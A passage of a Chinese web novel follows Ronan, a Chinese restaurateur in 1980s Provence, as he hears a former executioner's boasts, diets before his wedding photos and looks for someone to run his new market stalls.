这位客人来餐厅的次数绝不算多,最多也就两三次,按道理讲罗南应该记不住他的脸。 是这个人的职业,让罗南对他记忆犹新。 这不这一次来,这位老先生又开始给邻桌人描述他的传奇人生了。 “你是哪国来的?哦,英国,英国很不幸啊,一提到英国大家想到的是那里灰蒙蒙的阴雨天,老旧的工业厂区和味道糟糕的炸鱼,在这一点上法国很幸运,大家想到法国脑海里会出现埃菲尔铁塔、法棍面包、拿破仑或者碧姬·芭铎.这些都是些美好的东西。” 一位头发花白,身形健硕的老先生举着酒杯继续说: “不过除了这些,还有一个永远不会在明信片上见到的东西,但它又是法国独一无二的——那便是断头台!” 老先生把杯子里的酒一饮而尽,撩起胳膊上的衣服,展示他发达的肱二头肌: “而我,就曾经是一名刽子手,而且是法国仅存的十个刽子手之一!” 第488章 减肥从管住嘴开始 这位老先生除了声音洪亮、体型健硕外看不出其他与众不同的地方,很容易将他认成是吕贝隆的一位普通农夫。 只不过‘刽子手’这个单词一出口,不止是他旁边的那桌客人,周围四五桌人都停下了吃饭和聊天,将目光投向了这里。 这大概就是老先生想要的目的——目光与关注。 当听众到齐,他把酒倒上,演讲还将继续。 “我这个年纪的刽子手没有赶上好时候,工作了20多年,只砍下过50多颗头颅,我猜即使断头台不被废除,这个数字也很难到100,不,80都很难达成。”老先生既遗憾又憧憬的说,“但在100多年前,刽子手职业生涯至少要参与400次处决,你们知道亨利·桑松吧?就是执行路易十六死刑的那位,他一生中参与了3000多次处决,平均每天要砍掉5、6颗头颅!” 自中世纪以来,法国就有死刑。 十六世纪末期,法国人开始探讨死刑的存废问题,国会为此激辩不已,最终结果是依然保留死刑制度,但为了安抚主张废除死刑者,决议废止酷刑拷打,被判死刑者一律斩首处置。 1792年,医生约瑟夫·伊尼亚斯·吉约坦提议用机械斩首取代传统酷刑,确保‘平等且无痛’的死刑——断头台出现了。 在断头台出现的2年后,法国大革命爆发,这种‘人道主义’死刑处决了约1.7万人,其中就包括路易十六和罗伯斯庇尔等人。 这场革命,把刽子手这个职业推向了黄金时代。 事实上,刽子手在中世纪起便存在,最初由教会和国王授权,负责处决异端、叛徒和罪犯,方式包括绞刑、火刑、车裂等。 那个年代刽子手是‘污名职业’,世代遭受社会歧视。 但随着黄金时代的到来,刽子手成为了世袭职业,报酬还相当丰厚。 执行了路易十六的亨利·桑松家族垄断了巴黎刽子手职位近200年,不止世袭还形成了规模,每一次处刑有首席执行者、第一助手、第二助手、第三助手、医生、记录员和搬运工看起来一点都不像是要把人的头身分离,更像是要做一场精密的手术。 最高峰时,桑松家族的团队规模有15人,听说处决路易十六时,光是助手就带去了8位。 这些刽子手大家族随着20世纪法国死刑减少才逐渐衰落下去。 1900年后,法国的死刑量大规模减少,主要针对谋杀、叛国罪,有的时候一年都无法达到3位数。 1981年,弗朗索瓦·密特朗推动着法国成为欧洲第35个废除死刑的国家,断头台从此被废止启用,刽子手这个职业也彻底消失。 有游客被老先生的职业所吸引,好奇的问: “普罗旺斯还有断头台吗?如果我们想要参观,可以去哪里看看呢?” “曾经执行过死刑的断头台全部被国家收走了,放到了巴黎监狱博物馆里。”老先生平坦双手,“孩子,如果你在哪里看到了断头台,我发誓一定是有人想要骗你口袋里的钱了。” “哦,那太遗憾了。”邻桌的两位外国人说。 断头台绝对算是法国的一大特色之一。 老先生对刽子手话题有无限的热情,似乎那既是他曾经的职业,又是他无比狂热的爱好: “你可以去买模型,沿着索格河向北有一个叫隆达的村子,那里有一所博物馆,你可以买到还原度极高的断头台,要是对手铐和脚铐感兴趣,那里有多种款式任你挑选,有设计简单的十八世纪铁链和颈链,也有构造繁复得多的双重颈镣加手铐,当然了,这些入门级都是给孩子玩的,烙铁、拇指夹、让人一秒种都忍受不了的尖刺刑椅、带签名的绞索、多梢鞭子、钳子、颈手夹、止血带、指压器、各种形状大小的束禁装备、铁面具、压头器” 老先生越说越兴奋。 周围的客人越听表情越扭曲,甚至有几个人幻痛的揉了揉自己. 罗南赶紧打断了老先生的刑拘科普,以一种‘好久不见’的语气张开双臂: “上帝,快瞧瞧是谁来了?是我们的‘正义执行者’!” 罗南很成功的吸引走了老先生的注意力,他终于停下了报刑拘名称,也对罗南张开双臂: “哦,是你!那个爱听故事的小伙子,让我想想今天给你讲哪一颗头的故事呢——” 短暂的拥抱过后,老先生拍着罗南的后背说: “孩子,我猜你这几个月过的一定相当不错,你比冬天时胖多了啊。” 下午3点多,特奥推门而入,一眼便看到了坐在收银台后的罗南。 他敲了敲收银台,催促道: “布鲁诺让我来喊你,晚上去他家聚一聚,他妻子要给大家做披萨,能香得咬掉舌头的那种,没有什么事就过去吧。” 罗南一只胳膊撑着下巴,摆了摆手: “我晚上再去,吃饭不用等我,我就过去喝两杯,不吃饭了。” “你有其他的聚会?”特奥撑着收银台问。 罗南无力的摇头: “没有,我把最近的聚会都推了。” “为什么啊?”特奥不理解的问。 没有聚会的日子,那还叫日子吗? 生不如死! 罗南直起腰,拍了拍自己的脸: “你不觉得我最近胖了吗?再有半个月我就要和佐伊去拍婚纱照,我得赶紧减一减了。” 特奥眨巴着着眼睛,认真的说: “没有啊。” 罗南唉声叹气的趴了下去: “你们天天见我,当然看不出了。” 冯珍、佐伊、桑德琳、亨利和特奥都是几乎每天会和罗南见面的人,很难看出他的变化。 但许久未见的人,见到罗南就能看出他的变化了,比如一个多月没见的布鲁诺,又比如上次见面还是在冬天的刽子手老先生。 之前罗南还抱有侥幸心理,哪那么容易胖的? 现在罗南敢肯定——他是真的胖了! 不过仔细想想,这也是难免的事情。 来到普罗旺斯后,罗南的胃逐渐普罗旺斯化,像无底洞一样深不见底。 去年冬天进山挖松露,天气暖和的时候要种地,吃得多消化的也多。 可今年松露采摘季结束,他便不再干体力活,做编织家具也耗费不了什么体力,吃的东西没有减少,甚至胃口更好了消耗小于摄入就这样胖起来了。 特奥又劝了几句,终于放弃了: “行,那你早点去,我们都等你呢,要我说,你从明天起白天找点体力活干,保准吃的再多也能瘦下去。” 罗南挥手: “我考虑考虑,你快去吧,替我多吃点。” 罗南和佐伊保持着每天夜游的习惯,通常是吃完晚饭后休息一会就出去。 但今天晚上,罗南只吃了一点水果,可能怕管不住嘴,大家吃饭时他躲起来了,这可把佐伊心疼坏了。 “你以后晚上都不吃了?” “咩——” 佐伊拍了下意图挤到自己和罗南中间的呼呼: “没问你,我问罗南呢,晚上回去我给你做一点东西吧,吃一点没事。” 呼呼最近表现不错,罗南一拉绳子就跟着走,也没有要越狱的意思,晚一点罗南要去布鲁诺家,没有单独遛羊的时间了,于是今晚夜游的时候带上了它一起。 只不过带着呼呼出来,就无法去村子里繁华的区域,只能往村外的荒凉地方走了。 罗南拿着绳索,愁容满面的说: “不吃,我都在考虑中午也要少吃点了,我刚刚算了下日子,距离我们约的拍婚纱照日期只有不到十五天,这十五天我必须要减下去。” 晚上去佐伊家牵羊的路上路过邮局,罗南去称了下体重,比年初胖了整整10斤。 每一口猪肉馅饼、普罗旺斯炖菜、番茄牛尾、奶油杂烩和蜂蜜面包都没有辜负他它们全部留下了证据。 结婚是一辈子最大的事情之一。 结婚照也是一辈子最重要的照片之一。 拍婚纱照的衣服和婚礼的衣服都是定制的,在罗南求婚之后不久他和佐伊便去艾克斯量了尺寸。 算算时间,求婚时松露采摘季刚刚结束,罗南的身材应该还是‘苗条’的, 他发誓,必须把这10斤减下去,以最好的状态面对他和佐伊的婚姻。 相较于大城市,普罗旺斯的肥胖率并不高,传统的地中海饮食低脂高纤,不会给身体造成太大的负担,因此这里还没有流行来‘减肥’的概念。 如果遇到肥胖的人,大家最多就是说一句‘注意饮食’,不会采用太过激进的措施。 而且佐伊打心底认为,罗南和胖没有关系。 明明没有什么变化啊。 大腿、胳膊、胸肌什么的,摸起来手感好极了。 佐伊把手从罗南的胸上收回: “不吃饭太不健康了,而且我们都没有觉得你胖,你不要过度焦虑,少吃一点,注意饮食就可以了。” 罗南叹气: “可万一我穿不进去礼服怎么办?改衣服会不会影响我们的婚礼周期?” 佐伊义正严辞的摇头: “不会的,你只是胖了10斤,怎么可能穿不进去?我和设计师沟通过,最多紧一点而已,我爸爸现在还可以穿他和妈妈结婚时的衣服,那个时候的他比现在瘦30斤呢。” 罗南停下,瞪大眼睛看佐伊: “所以你早看出我胖了??” “咩——咩咩——咩咩咩——” 呼呼很努力的想要加入到这个家里,佐伊赶紧拉着呼呼走了: “走,呼呼,我们去那里看看,罗南一定没带你去过那里对不对?” 卢尔马兰村子外围最不缺的就是草地,还有些农夫响应‘拔除计划’,把地空置了出来,无论从哪个方向出村,都可以找到很完美的遛羊区域。 但呼呼从不肯在一片区域停下,即使那周围草木茂盛。 它喜欢低着头一直走一直走走到罗南不让走了,用力拉紧绳子,之后它会尝试着‘反抗’一会,当确定罗南不会同意继续向前了,再停下吃草休息。 为了多消耗一些,罗南今天跟着呼呼去了距离卢尔马兰村中心很远的地方,远到他都没有来过的地区才拉紧绳子。 呼呼在黑暗中看着前方愣了一会神,过了十几秒终于低下头,开始在周围找草吃。 “你说呼呼每次都会这样看着前方发一会愣?”这是佐伊第一次陪罗南出来遛羊,许多细节只能从罗南嘴里听到。 罗南把绳子很随意的握在手掌里: “是的,每一次我不让走了,它都会看着前方愣神,最开始我以为它想去哪个地方,后来我发现似乎没有这样一个地方存在,它只是想不停的向前走,因为我带着它从卢尔马兰各个方向都出过村,没发现有什么固定的方向。” 佐伊拉着裙子下摆,蹲下去摸了摸呼呼的脑袋: “这个小家伙脑袋里有太多我们不了解的东西了,有的时候真想知道它在想什么。” 每天两次遛羊,让罗南看这小家伙顺眼了一些。 虽然呼呼依然不怎么把罗南放到眼里,但至少可以乖乖的跟着他前进和停止。 罗南也摸了摸呼呼的脑袋: “混熟了之后,偶尔觉得它确实挺可爱的,前提是不针对我。” “呼呼本来就很可爱啊。”佐伊把呼呼脖子上的几根杂草拿了下去,“看到你们混熟真的让我太开心了。” 罗南也蹲了下去,看着佐伊的眼睛说: “但再可爱也没有你可爱。” 两个人对视了几秒,不约而同的向对方压去了身子。 “咩咩咩——”一个羊头出现在两个人的中间,把这一吻破坏殆尽。 罗南抓住羊角,不想让它破坏这美妙的气氛。 下一秒,一只羊蹄落在了他的小腿上,将人踹的坐了下去。 “我看只有炭火能把你烤熟!”罗南指着呼呼怒吼道。 这羊怎么回事啊?! 伊内斯的效率很高,从摩纳哥回来没几天便通知罗南,她已经‘说通’了略伦特,让他将罗南的摊位送入普罗旺斯尽可能多的集市。 虽然会长说的云淡风轻,但罗南清楚这件事的背后一定没有那么容易,因为略伦特给罗南打电话时,笑声就没有断过,显然伊内斯许给了他相当丰厚的东西。 可能是为了尽快得到伊内斯的许诺,略伦特推进起来无比的积极,一直催促罗南尽快把人手问题解决,他那里随时都可以让他的摊位出现在任何的集市里。 现在压力来到了罗南这一侧。 去集市摆摊的人去哪里找? 这个业务的负责人又要让谁担任呢? 第489章 普罗旺斯集市文化 有几位经常来餐厅吃饭的常客,发现了一个不同寻常的事情。 原本热情开朗的艺术家老板最近变得愁眉苦脸起来。 他不再微笑着和熟悉的客人聊天问好,每次出现都坐在收银台的后面,眉头紧锁的想着什么事情。 吕贝隆的中餐厅只有卢尔马兰这一家,染上中餐后,很多常客来吃饭的频率都是以周为单位计算,热情一些的早就和老板一家处成了朋友关系。 见老板突然变了脾气秉性,不少顾客都送去了关心。 这不,某一天上午在外面等位置的几个人恰巧都是老板的‘朋友’,闲着也是闲着,就聊起了关于罗南的事情。 顾客A:“你也发现罗南最近变得沉默寡言了?” 顾客B:“当然了,以前老板见我来会送免费的粉红酒并且坐下和我聊两句,上次我从他身边路过他都没发现我,这太反常了不是吗?” 顾客A:“哎,不要怪罗南,他最近正在减肥,每天只能吃一点点东西,情绪当然没办法太好了,你知道的,不能肆意的品尝美食,活着还有什么意思?” 顾客B:“老板是因为不能吃东西而心情不好?好像不是吧.我上周和他聊了两句,他说想要参与更多的集市,但普罗旺斯的集市信息太庞杂了,不知该如何取舍,脑子里每天想的都是这些东西。” 顾客A:“嗯?还有这个事情?怎么没听他说过.” 顾客C:“我说两位,你们说的都不对吧?我怎么听罗南说的是,他想要招聘一批工人去集市摆摊,但招聘月中就发出去了,这么长时间连一半的人手都没凑齐,现在做梦都在喊‘招工招工’呢?” 顾客A&B:“嗯?罗南有这么多烦心事?” 顾客C:“可不是呢,生意越好,事儿越多啊。” 外面几个人聊得热火朝天的同时,罗南正陪佐伊和一群来自北方的艺术家朋友吃饭。 他们是特意来卢尔马兰感受艺术气氛的。 聊完了普罗旺斯的艺术话题,这几位北方来的年轻男男女女又好奇的问起了罗南关于做生意的事情。 成功的艺术家少,成功的商人也不多,一名成功的艺术家商人绝对是稀罕东西——而他们面前就有一位。 “我算什么成功商人啊。”罗南谦虚的说,“许多生意只是起步阶段,问题总是解决不完,最近我正为此头疼。” 对面一位穿着蓝衬衣,戴金丝眼镜的年轻艺术家问: “你的每一桩生意看起来都很不错啊.还有什么可头疼的事情?” 罗南深深叹了一口气: “比如我想去参与更多的普罗旺斯集市,说起来简单,执行起来太难了。” 蓝衬衣不理解的问: “问题出在哪里?” 参与集市有什么难的? 跟艺术创作比,没有一点技术含量啊。 罗南笑着问他们: “你们知道普罗旺斯一共有多少个成规模的露天集市吗?有150个.每周有150个固定集市在普罗旺斯举行,如果算上季节性的集市这个数字会超过200,没错是200个正规的集市,我第一次听到这个数字时和你们的表情一样震惊。” 他摇了摇头,自嘲的说: “大概两个月前,我天真的扬言要把摊位摆到普罗旺斯的每一个集市上,但如果要达成这个目的,我需要组织一个超过100人的团队,在目前情况下,这是很难达成的事情。” 罗南和伊内斯说,他想要把集市摆到普罗旺斯每一个集市,把粉红酒(中餐)带到普罗旺斯的每一寸土地上。 会长大人应该也是这样要求略伦特的。 略伦特挺给力,说送到每一寸就送到每一寸,但他报出200这个数字时.罗南怂了。 普罗旺斯的集市按周举行,比如卢尔马兰的集市就固定在周五。 但一周只有7天,集市还都集中在上午8点到午饭前这几个小时里,如果要完成这个豪言壮语,粗略的估计要组织出将近30个集市小队。 可问题是,现在组织出5支集市固定队伍都很困难。 摊位上卖的东西不复杂,招牌锅包肉、中式快餐和粉红酒。 快餐可以从卢尔马兰这里统一供应,教人做锅包肉也不难,卖粉红酒就更不需要什么技术含量了。 最大的问题是,招不上来工人。 卢尔马兰只有大几百居民,老的老,小的小,种地的种地.净劳动力没有多少。 最近两三个月,卢尔马兰出现了太多的工作岗位。 先是2月底3月初新开的那些艺术商铺;随后罗南的餐厅扩招,同时期斯特斯加开始大肆招工;复活节前,卢尔马兰的商业价值被肯定,大量外村商人将目光注意到这里,虽然商业街的二期和三期还没竣工,但招商已经结束,那些老板们早就着手在卢尔马兰物色劳动力了。 5月初卢尔马兰人力已经开始紧缺,但压死骆驼的最后一根稻草.是卢尔马兰手工艺合作社把几乎全村的女性劳动力都签了进去。 现在想要在卢尔马兰找工人难如登天,罗南已经把招聘信息发到隔壁村子去了。 但外村人不如本村人知根知底,随便打听两句10岁的早恋细节都讲出8000字,招聘的时候格外的小心翼翼。 招人难、选集市难、不熟悉的人管理起来也难罗南能不愁吗? 但6月中旬,第一批集市小队必须出现在普罗旺斯的更多集市里,这是他给自己的目标期限。 罗南把自己需面临的困难分享出来,蓝衬衣旁边的一位休闲服女士问出了在心里憋了许久的问题: “其实我一直不理解,普罗旺斯人为什么不去大超市买东西?一定要去集市呢?超市里的东西分类简洁明了,只需要20分钟就可以找齐未来一周需要的食物,但同样的东西在集市需要逛上两个小时。” 1987年的法国,大型连锁超市正处于快速扩张期,逐渐成为城市居民日常购物的主要场所之一。 根据报道显示,巴黎有一半以上的食物购自超市,小型蔬菜店、肉铺和面包店遭到巨大的冲击,奶酪制造者、鱼贩和农夫等不得不将产品出售给大型连锁超市,否则将面临倒闭和吃不上饭的难题。 这几位艺术家来自北方的大城市,他们有些不理解,在超市注定成为趋势的大前提下,罗南为何还要费这么多脑细胞想集市的问题。 “超市永远不会在普罗旺斯普及。”佐伊几乎是脱口而出,“你们有机会可以去阿维尼翁或者马赛的连锁超市看看,那里的情况和你们的家乡完全是两幅天地。” 大型连锁超市自然也来到了普罗旺斯,但它们水土不服了。 像罗南和佐伊这样的乡下人,即使进城去‘赶集’也会去阿普特‘全吕贝隆妇女最喜欢’的米洛纳市场,而不是高大上的超市。 这一点上罗南比佐伊更加肯定,因为即使又过了20年,连锁超市也没有真正的走入普罗旺斯市场,普罗旺斯的集市文化不仅保留了下来,还更加欣欣向荣了。 “为什么呢?”那女艺术家继续问,“普罗旺斯人为什么不选择更加便利的超市?” “因为集市是一种文化,而且是传承了几百年的文化,没有人会主动丢弃自己的文化不是吗?”佐伊侃侃而谈的说,“普罗旺斯的第一个集市诞生于阿普特,1523年雷内王钦命授权,每周六开市,400多年过去,从未停止过;第二个集市出现在1567年,地点是鲁西永,第三个集市在戈尔德,开市于1774年.这些知识绝大部分普罗旺斯孩子都可以说出来,请问,巴黎人可以背出第一第二和第三个连锁超市开业的时间和地点吗?” 对面几个人哑口无言。 对普罗旺斯的集市文化有了更为深层次的认知。 普罗旺斯的集市文化,是男人们在酒桌上最喜欢展开探讨的几个话题之一,在普罗旺斯生活了一年半,罗南对此也有相对较深的理解,而且是多方面的。 “集市之所以吸引人,有很多原因,在超市购物千篇一律,没有特色,到集市买东西则不同,经验因人而异,卖东西的人几乎都是生产者,而且他们就在现场,亲自为产品站台,不像超市一样无人值守,你们可能想象不到在普罗旺斯卖吃的东西是一种什么样的感受,但我明白,因为我是摊主,如果我卖的食物不是好到挑不出一点毛病,会惨遭天底下最严苛的顾客,因为这里人均美食家.普罗旺斯人买到不好的东西,一定会大声控诉。” 佐伊和罗南心有灵犀,顺着罗南的话继续解释: “但面对全天下最挑剔的顾客也有积极的意义,那就是买卖双方往往会因此培养出交情,我妈妈每次去集市都会和几十个摊主打招呼,摊主们也会主动和熟悉的顾客打招呼,喊出他们的名字,无论他们买不买东西.这个状态下,顾客深信摊主会把最好的货品留给自己,要不了多久,就会觉得对方是自家人。” 佐伊的解释让对面几个北方人陷入了深思。 “这听起来更像是一种社交行为?” 罗南笑着耸肩: “远不止社交这么简单,通常还会扯上教育主题。” 佐伊笑着拍了一下罗南的手背,继续给对面的几个人展开解释: “普罗旺斯的摊主们很乐于分享每种东西的来源和优点,还会教你烹饪方法.例如要买鱼眼还亮晶晶的鱼、西葫芦里塞什么馅最好吃、如何烹饪两片连在一起的鸭胸肉、储存橄榄油的最好办法、30秒剥除甜椒皮的小妙招、在水里加一点柠檬汁可使一瓶鲜花回春——” 罗南笑着插嘴: “只需要一个上午,你便可以参与一次极其丰富的教育课程,而且每次去都可以学到不同的东西.请问这种体验可以在超市获得吗?普罗旺斯人最不缺的就是时间,便利确实很好,但我们更加愿意慢慢的逛一个上午,找些除了美食和购物之外的乐趣。” 佐伊满意的看了一眼罗南,他现在已经非常普罗旺斯了,不止是胃口,还有思想: “相信我,集市能带来的乐趣是丰富的、多角度的,无论是天气,还是新来的邮差,又或者是新上任的总理,你一定可以在集市上找到愿意和你讨论半个小时的人,即使是非常偏僻地区的集市,每周都能吸引来附近的大量居民,所以罗南想要参与更多集市的想法我非常支持,这是普罗旺斯最简单、高效和直接的渗透方式。” 对面的几个北方艺术家,你看看我,我看看你,努力消化小情侣说的东西。 买个东西而已,能延续出那名多事情? 有些抽象了吧 “嘿,罗南——”顾客A终于等到了位置,一进来就直奔罗南,“今天心情怎么样?还那么糟糕吗?” 罗南拍了拍那名顾客的肩膀: “好一些了,点菜了吗?坐哪桌?” “我在报纸上看到了一种古老的减肥方法叫‘禁言瘦身’,找一所修道院静修一周,期间禁止说话,每天只吃蔬菜汤和干面包。”顾客A认真的说,“你要不要试试?” 一个敢说,一个敢问,罗南郑重的问: “一周能瘦多少斤?” 几个北方艺术家一动不动的倾听两个人聊的话题,大气都不敢喘一声。 普罗旺斯人还真是什么话题都能聊得下去啊?! 集市是一定要参加的。 佐伊也说了,参与更多集市是普罗旺斯最简单、高效和直接的渗透方式。 人员招聘罗南一直在加紧推进,遇到熟人都会提一嘴,问问身边有没有合适的人。 集市名单,罗南也在紧锣密鼓的制定当中,该咨询的咨询,该考察的考察,努力先找到几个最合适的。 6月中旬之前,集市这摊活儿罗南可以独自承担下来,吃多少苦,受多少累都无所谓。 但之后运转起来,他不可能天天跟着,还是要找一个负责人。 这一天,罗南坐在可以‘一览天下事’的收银台后面,认认真真的看了半天出入的这些员工和熟人。 集市业务交给谁最适合呢? 第490章 借我风水宝地一用! “让开,让开!我说你怎么总是抢我的位置?” 冯珍倒了一杯冰冰凉的桃子果汁,又拿了几块后厨刚出炉的热乎甜品,想要美美的坐到收银台后看今日的‘天下事’,没成想她的宝座又被罗南占了。 一次两次她就忍了,但这件事近期经常发生! “我帮忙收银呢。”罗南指了指手里的法郎。 冯珍把果汁和甜点放到桌子上,又像占地盘似的用纸笔和计算器铺满了全部能放的位置: “我来了,你走吧,忙点其他的事情去。” 罗南听话的抬起屁股,冯珍刚坐稳当,他又搬了一把椅子过来,和妈妈挤在一张桌子后面,嬉皮笑脸的说: “别的地方没什么我能帮上忙的,我坐一会,就一会,等一会我就给你腾地。” 冯珍不停的用胳膊肘怼人,眉飞色舞的低声抗议: “不行不行不行,你坐过来目标太大了,我一个人藏这后面,根本没人知道我在看哪里,你快点离开这儿!” 收银台像是屏风一样,挡住了冯珍和罗南抢的这张桌子,和桌子后面坐的人,只有头顶、眉毛和眼睛能露出来悄咪咪的观察这个世界,此乃暗中观察之最有利位置。 “哎呀,我正在想把集市交给谁负责呢,这么大的事我不得好好观察观察?但我站人家旁边观察不出来什么,必须得偷偷的看,这里正合适。”罗南努力的把自己的身形藏起来,不让周围人注意他在这里。 冯珍冷哼一声,胳膊上的力道卸下去些许: “现在知道我这地方好了?之前你还不屑一顾呢。” “人总要成长的嘛——”罗南见到新的甜品样式惊喜的拿起来想要尝尝,但手在半空划了一个半圆,最终送入了母亲的嘴里,“妈妈辛苦了,快吃点东西补充体力。” “我刚来一会,累什么累啊!”冯珍一点都不吃甜言蜜语那一套,不耐烦的对罗南说,“你快好好看你的吧,我要算账了,又快月底了。” 突然她‘嘿’了一声,拿起了第二块甜品送到嘴里,口中还念念有词: “莉亚做的甜品越来越棒了,这是什么东西这么好吃?一会我得进去问问。” 罗南忍住了想要尝一尝的冲动,继续用两只眼睛悄咪咪的观察几个目标人物。 坦白讲,他在收银台后面坐了几个小时,观察了不少员工,也观察了几个朋友,但有效的信息没提炼出来多少脑子更迷糊了。 主要是可以重用的人选实在太少,心腹们早就在其他的地方发光发热.无法离开岗位。 毫不夸张的说,罗南都已经考虑到艺术家圈子了。 不知道有没有人能在搞创作的同时,愿意干个兼职的? 总之现在的情况是,似乎选谁都有不太合适的理由,迟迟找不到满意的那个,也可能是观察的时间还是太短了,罗南没有发现身上有闪光点的人物。 想到母亲在这风水宝地坐了一年,她那双慧眼在看尽人生百态的同时,也一定注意到了许多自己未曾关注过的细节,罗南有一搭没一搭问母亲冯珍: “妈妈,你觉得我把集市这摊事交给法比安怎么样?” 法比安,罗南为数不多没有去斯特斯加工作的农夫朋友,依然在勤勤恳恳的种地。 虽然今年签到了比去年多很多的土地面积,但看到那些不再种地的农夫赚的不少、休息时间挺多、身上摆脱了泥土气息,偶尔也会说出两句酸溜溜的话。 罗南知道法比安心里挺矛盾的,如果有好的机会,再好好劝劝,他一定会过来帮忙的。 “法比安可不行。”冯珍一边吃一边说,摁计算器的手也没闲着,很好的诠释了一心三用,“法比安是老好人的性格,而且太憨厚了,你让他干活没问题,让他做生意可要难死他了。” 罗南点了点头。 法比安距离集市业务有点远,一切都要从头摸索,而且性格太敦厚了,不够灵活。 “而且我告诉你啊——”冯珍附在罗南耳边说,“法比安连100以内的加减法都算不明白,你把集市交给他,你们两个都有的难受了。” “哈?真的假的?”罗南不确定的问。 冯珍撇了撇嘴,看方向是编织大院的方位: “真的,千真万确,有一次她老婆波热喝多了和娘家人抱怨,说法比安种地时几排几列都算不明白呢。” “那还真不能给他了。”罗南把视线挪开,看向刚刚带新客人进来的伊莎贝尔,犹犹豫豫的问,“那伊莎贝尔呢?” 冯珍想都没想,脱口而出: “伊莎贝尔行啊,没问题,她学什么都很快,脑子可机灵了,而且她还总跟着你去集市不是么?” 伊莎贝尔几乎每周都会跟着罗南去卢尔马兰和梅纳村的集市,如果论熟悉这项业务,她是最合适的。 但是—— “这小姑娘真厉害,收银的不在可以帮忙算帐,没食材了还能去打电话采购,哪里缺人了她都可以第一时间顶上,最难得的是什么你知道吗?”冯珍怼了一下罗南的胳膊肘,示意他看过来,“最难的的是,她眼睛里有活儿,根本不用指挥,她一定会主动出现在最适合的地方,你爸爸都说,咱们餐厅有伊莎贝尔和没伊莎贝尔是两个样子的,这小丫头!” 冯珍摇了几下脑袋,再次用力的怼了一下罗南: “诶对了,你爸爸说让你赶紧给伊莎贝尔涨工资啊,千万别让人挖走了。” 罗南愁眉苦脸的叹气: “涨涨涨,我心里有数着呢。” 罗南当然知道伊莎贝尔的能力有多全面,他早就对这个女孩寄予厚望了。 在他原先的计划里,商业街二期的新餐厅开业后,罗天海去那里拉新店铺,这个老店是要交给伊莎贝尔打理的。 她是做店长的不二人选,罗南从来没有考虑过其他人。 集市这个业务未来摊子可能很大,但罗南并没有预期在这个新业务上赚多少钱,主要是靠这个业务赚钱太难了。 他参与过萧条时期的卢尔马兰集市,繁荣度是无法和梅纳村等火爆集市相比的,那个时候卖锅包肉只能勉强温饱。 罗南相信,许多地区的集市也是同样的情况,甚至人流量更差,他的预期是能覆盖住人力成本就谢天谢地了,稍微有一点亏损也可以接受。 毕竟这是一种广告不是么?哪有打广告不花钱的。 集市起到的,更多是宣传和渗透作用。 就像罗南说的,把斯特斯加的粉红酒、中餐还有未来有可能的编织带到更多的地方,让它们被更多的普罗旺斯人所看到、熟悉,这就够了。 赚钱,他有其他的途径。 如果伊莎贝尔管了这个业务,自然就没有精力再管餐厅。 那么餐厅谁来管呢? 必须在两者之间做一个取舍。 但从内心来讲,罗南还是想把伊莎贝尔留在餐厅。 这个时候,弗洛西从后厨出来,罗南一眼就看到了这位老员工: “妈妈,那你说弗洛西能管集市这项这个业务吗?我知道她没有经营的经验,但阿兰懂啊,他一定会帮助妻子做好这个挑战的。” 弗洛西一直在罗南的后厨帮忙,算算时间也干了快一年了,而且也曾跟着罗南去过许多次集市。 更为重要的是,妇女是最懂普罗旺斯集市文化的一群人,是刻在她们基因里的东西,罗南相信弗洛西可以胜任这件事。 “哎哟,你就别打弗洛西的主意了,人家有自己的工作计划呢。”冯珍停下了算帐。 “什么工作计划?我怎么没听说过?”罗南把目光收回。 见弗洛西离开了,冯珍才小声的给儿子解释: “弗洛西想要跟着莉亚学甜品,和妮可拉一样,她最近买了许多烹饪的器具,要在家练习呢,可没有功夫满普罗旺斯的跑,你不用问了。” 最早的那一批招工中,弗雷迪的妻子妮可拉跟着莉亚去做了甜品,因为她表现出了对甜品的浓厚兴趣。 罗南也曾咨询过弗洛西,她们三姐妹的私下关系最好,如果能同做一件事情,可能会事半功倍,但弗洛西说她对甜品没有什么兴趣,罗南才安排她去做其他事情的。 “这是什么时候的事?”罗南非常意外,“之前不是说,吃阿兰做的甜品吃腻了,想离甜品远点吗?” 冯珍扭转了身体,正对罗南,一副要大讲特讲的架势: “那都什么时候的老黄历了?阿兰做的甜品能和莉亚比吗?阿兰自己都说了,和莉亚比他揉的面团像是一团橡皮泥咱们餐厅最近有很多很多人都想要去学甜品,和莉亚一样考正规甜品证书的那种,不知道多少双眼睛盯着莉亚收徒弟呢,我刚才去后厨拿甜品时,莉亚身后跟着三四个小尾巴,都是磨她的人。” 罗南嘴角渐渐勾起,露出一个巨大的笑容: “因为莉亚做的甜品好吃?” 冯珍点点头,指着面前只剩渣子的甜品盘说: “你真该尝尝啊罗南,我摸着良心说,莉亚现在做的甜品不比你差多少了。” 罗南用拇指沾了一点渣渣放进嘴里尝了尝,自惭形秽的说: “我也摸着良心说,论口感,这个比我做的好吃。” 莉亚还是家庭妇女时,做的甜品已经是远近闻名的好吃了,不知道多少人费尽脑筋想要去路易家蹭顿饭吃。 在餐厅工作的这一年,她一边工作,一边系统的学习了许多先进的甜品知识,考到了正规甜品师证。 经验方面,也因服务了大量的挑剔食客,总结出了一套更加符合普罗旺斯人味蕾的独门秘籍,再加上之前几十年的积累,单从口感上讲,她做的甜品在普罗旺斯绝对是顶级的。 由莉亚组成的甜品团队从来没掉过链子,让许许多多为了甜品而来的顾客觉得‘不虚此行’。 已经如此强大的她,近期又恶补起了短板——造型能力。 毫不夸张的讲,不只路易发现了妻子身上的新魅力,对她爱不释手。 餐厅里的妇女们也被莉亚的努力、上进和专业迷住了.一心想要跟着她学甜品。 “莉亚,甜品团队什么时候扩招?我也想加入你们!” “去去去,现在想进甜品团队的人多得很,哪能轮得到你?我半年前就和莉亚报备了,这事儿讲个先来后到。” “莉亚,我有甜品基础,如果有名额你先看看我行不行?甜品岗位这么抢手,我提议未来扩招时先进行一轮面试!” 莉亚摘下手套,笑着和身后的小尾巴们说: “我没听到甜品团队扩招的消息,没办法给你们承诺,不过如果你们想要学,不忙的时候可以来我这里看着,我随时欢迎。” 一个小姑娘特别有眼力见的把莉亚下一步需要的器材递给她,同时讨好的说: “我们有休息的日子,可你没有啊,你不是上班就是练习.你有时间教我们吗?” 她们几个一到休息的时间就来后厨找莉亚,但莉亚完全没有休息的时间。 罗南给了,但莉亚自己不要,全部拿出来练习了。 莉亚从烤箱区域离开,拿起刻刀,在果干上继续之前的雕刻练习: “过几天就有时间了,等罗南参加完甜品大赛我应该就没有那么忙了,到时候你们随时过来,我教你们。” 